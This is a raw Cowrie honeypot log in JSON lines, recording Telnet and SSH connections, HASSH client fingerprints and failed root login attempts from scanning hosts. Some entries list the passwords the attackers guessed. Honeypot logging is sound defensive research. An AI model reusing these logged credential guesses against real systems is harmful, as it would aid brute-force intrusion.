{"eventid":"cowrie.login.failed","username":"root","password":"server$321","message":"login attempt [root/server$321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:07.329941Z","src_ip":"103.170.173.26","session":"72fe7583fe8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:08.615350Z","src_ip":"103.170.173.26","session":"72fe7583fe8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36146,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bf65d8c32c5","protocol":"telnet","message":"New connection: 206.189.32.23:36146 (10.17.0.5:23) [session: 3bf65d8c32c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:08.668064Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38446,"dst_ip":"159.203.135.109","dst_port":23,"session":"117508f9182a","protocol":"telnet","message":"New connection: 162.55.233.176:38446 (159.203.135.109:23) [session: 117508f9182a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:10.852366Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47242,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c506d1961ce","protocol":"telnet","message":"New connection: 188.208.141.113:47242 (10.17.0.5:23) [session: 2c506d1961ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:12.564680Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vncdn","message":"login attempt [root/Vncdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:13.977057Z","src_ip":"213.209.159.158","session":"bd7c01411c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.41931366920471,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:14.566625Z","src_ip":"188.208.141.113","session":"95e0c4f4cc73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47244,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a3331727b3","protocol":"telnet","message":"New connection: 188.208.141.113:47244 (10.17.0.5:23) [session: 23a3331727b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:14.738829Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7239e49ee6","protocol":"telnet","message":"New connection: 188.208.141.113:47250 (10.17.0.5:23) [session: 6a7239e49ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:15.263757Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44746,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f73eed6704","protocol":"telnet","message":"New connection: 162.55.233.176:44746 (159.203.135.109:23) [session: b2f73eed6704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:16.197165Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44750,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c599e20b342","protocol":"telnet","message":"New connection: 162.55.233.176:44750 (159.203.135.109:23) [session: 5c599e20b342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:16.950291Z"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:17.078123Z","src_ip":"213.209.159.158","session":"bd7c01411c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24114,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd80337d60b1","protocol":"ssh","message":"New connection: 213.209.159.158:24114 (10.17.0.5:22) [session: bd80337d60b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:17.182020Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44760,"dst_ip":"159.203.135.109","dst_port":23,"session":"61fd46ce38de","protocol":"telnet","message":"New connection: 162.55.233.176:44760 (159.203.135.109:23) [session: 61fd46ce38de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:17.703817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:19.171373Z","src_ip":"213.209.159.158","session":"bd80337d60b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:19.175270Z","src_ip":"213.209.159.158","session":"bd80337d60b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44772,"dst_ip":"159.203.135.109","dst_port":23,"session":"66bbbedfded6","protocol":"telnet","message":"New connection: 162.55.233.176:44772 (159.203.135.109:23) [session: 66bbbedfded6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:20.862776Z"}
{"eventid":"cowrie.session.closed","duration":6.522573232650757,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:21.261269Z","src_ip":"188.208.141.113","session":"23a3331727b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.43677520751953,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:23.568068Z","src_ip":"162.55.233.176","session":"8a60c02909eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50926,"dst_ip":"10.17.0.5","dst_port":23,"session":"91008bf3b3aa","protocol":"telnet","message":"New connection: 206.189.32.23:50926 (10.17.0.5:23) [session: 91008bf3b3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:23.718513Z"}
{"eventid":"cowrie.session.closed","duration":38.065449953079224,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:25.314077Z","src_ip":"188.208.141.113","session":"6129336d87cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53232,"dst_ip":"10.17.0.5","dst_port":23,"session":"926e93ef20b8","protocol":"telnet","message":"New connection: 206.189.32.23:53232 (10.17.0.5:23) [session: 926e93ef20b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:26.763129Z"}
{"eventid":"cowrie.session.closed","duration":30.96073579788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:28.185040Z","src_ip":"162.55.233.176","session":"3e436a5280f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0eb6b77d8d","protocol":"telnet","message":"New connection: 188.208.141.113:37994 (10.17.0.5:23) [session: fb0eb6b77d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:28.250598Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36344,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffd638f9aa99","protocol":"telnet","message":"New connection: 162.55.233.176:36344 (159.203.135.109:23) [session: ffd638f9aa99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:28.458348Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Voda","message":"login attempt [root/Voda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:28.836880Z","src_ip":"213.209.159.158","session":"bd80337d60b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55252,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb3c5d53061","protocol":"telnet","message":"New connection: 206.189.32.23:55252 (10.17.0.5:23) [session: 6fb3c5d53061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:29.670258Z"}
{"eventid":"cowrie.session.closed","duration":43.68302869796753,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:30.711721Z","src_ip":"188.208.141.113","session":"96ff253f9a17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:31.961266Z","src_ip":"213.209.159.158","session":"bd80337d60b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9202,"dst_ip":"10.17.0.5","dst_port":22,"session":"90ae0925b721","protocol":"ssh","message":"New connection: 213.209.159.158:9202 (10.17.0.5:22) [session: 90ae0925b721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:32.042363Z"}
{"eventid":"cowrie.session.closed","duration":54.910995960235596,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:32.390812Z","src_ip":"206.189.32.23","session":"12a40c6ac8b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.258023738861084,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:33.824929Z","src_ip":"206.189.32.23","session":"227db2a4d074","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:34.576028Z","src_ip":"213.209.159.158","session":"90ae0925b721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:34.579795Z","src_ip":"213.209.159.158","session":"90ae0925b721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.750383615493774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:36.596837Z","src_ip":"162.55.233.176","session":"b41e06e7032e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39348,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5951f1ffa2","protocol":"telnet","message":"New connection: 206.189.32.23:39348 (10.17.0.5:23) [session: bf5951f1ffa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:38.380563Z"}
{"eventid":"cowrie.session.closed","duration":32.48512005805969,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:38.465263Z","src_ip":"162.55.233.176","session":"06d3a10b17d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39798,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec7cfeb3afc","protocol":"telnet","message":"New connection: 206.189.32.23:39798 (10.17.0.5:23) [session: 4ec7cfeb3afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:38.800894Z"}
{"eventid":"cowrie.session.closed","duration":32.287312030792236,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:39.434772Z","src_ip":"162.55.233.176","session":"5fe841102166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42994,"dst_ip":"159.203.135.109","dst_port":23,"session":"11dacec7a590","protocol":"telnet","message":"New connection: 162.55.233.176:42994 (159.203.135.109:23) [session: 11dacec7a590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:39.575185Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VwdcPqsG","message":"login attempt [root/VwdcPqsG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:43.601924Z","src_ip":"213.209.159.158","session":"90ae0925b721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.01902198791504,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:43.871268Z","src_ip":"162.55.233.176","session":"117508f9182a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43994,"dst_ip":"10.17.0.5","dst_port":23,"session":"61343ade7955","protocol":"telnet","message":"New connection: 206.189.32.23:43994 (10.17.0.5:23) [session: 61343ade7955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:44.010253Z"}
{"eventid":"cowrie.session.closed","duration":42.84695243835449,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:44.819654Z","src_ip":"206.189.32.23","session":"53ced22f696a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.22503113746643,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:45.807642Z","src_ip":"188.208.141.113","session":"a5cb481d0769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7e80b608b9f","protocol":"telnet","message":"New connection: 162.55.233.176:33180 (159.203.135.109:23) [session: b7e80b608b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:46.772549Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:47.250790Z","src_ip":"213.209.159.158","session":"90ae0925b721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9042,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e84dfcf1b2a","protocol":"ssh","message":"New connection: 213.209.159.158:9042 (10.17.0.5:22) [session: 0e84dfcf1b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:47.329458Z"}
{"eventid":"cowrie.session.closed","duration":47.76593995094299,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:47.391949Z","src_ip":"206.189.32.23","session":"cf180236978a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.05401062965393,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:47.628231Z","src_ip":"206.189.32.23","session":"eb14c5115392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33182,"dst_ip":"159.203.135.109","dst_port":23,"session":"34e15fe1e7a8","protocol":"telnet","message":"New connection: 162.55.233.176:33182 (159.203.135.109:23) [session: 34e15fe1e7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:47.786202Z"}
{"eventid":"cowrie.session.closed","duration":31.465144634246826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:48.415305Z","src_ip":"162.55.233.176","session":"5c599e20b342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1d850672106","protocol":"telnet","message":"New connection: 188.208.141.113:47632 (10.17.0.5:23) [session: b1d850672106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:48.895178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:49.398644Z","src_ip":"213.209.159.158","session":"0e84dfcf1b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:49.403041Z","src_ip":"213.209.159.158","session":"0e84dfcf1b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.12688183784485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:49.830617Z","src_ip":"162.55.233.176","session":"61fd46ce38de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.994786977767944,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:50.559350Z","src_ip":"188.208.141.113","session":"2c506d1961ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40754,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e5c40cd366b","protocol":"telnet","message":"New connection: 188.208.141.113:40754 (10.17.0.5:23) [session: 9e5c40cd366b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:52.927228Z"}
{"eventid":"cowrie.session.closed","duration":32.18984127044678,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:53.052508Z","src_ip":"162.55.233.176","session":"66bbbedfded6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40768,"dst_ip":"10.17.0.5","dst_port":23,"session":"32ad9869131b","protocol":"telnet","message":"New connection: 188.208.141.113:40768 (10.17.0.5:23) [session: 32ad9869131b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:53.138368Z"}
{"eventid":"cowrie.session.closed","duration":37.80491042137146,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:54.001960Z","src_ip":"162.55.233.176","session":"b2f73eed6704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2910664081573486,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:54.218187Z","src_ip":"188.208.141.113","session":"9e5c40cd366b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.917083978652954,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:54.680086Z","src_ip":"206.189.32.23","session":"926e93ef20b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.688292980194092,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:55.583338Z","src_ip":"188.208.141.113","session":"b1d850672106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43366,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a9459cf902b","protocol":"telnet","message":"New connection: 162.55.233.176:43366 (159.203.135.109:23) [session: 4a9459cf902b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:57.541008Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vladimir","message":"login attempt [root/vladimir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:58.451300Z","src_ip":"213.209.159.158","session":"0e84dfcf1b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.539860725402832,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:58.678098Z","src_ip":"188.208.141.113","session":"32ad9869131b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43380,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ae1f2ababef","protocol":"telnet","message":"New connection: 162.55.233.176:43380 (159.203.135.109:23) [session: 1ae1f2ababef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:59.509436Z"}
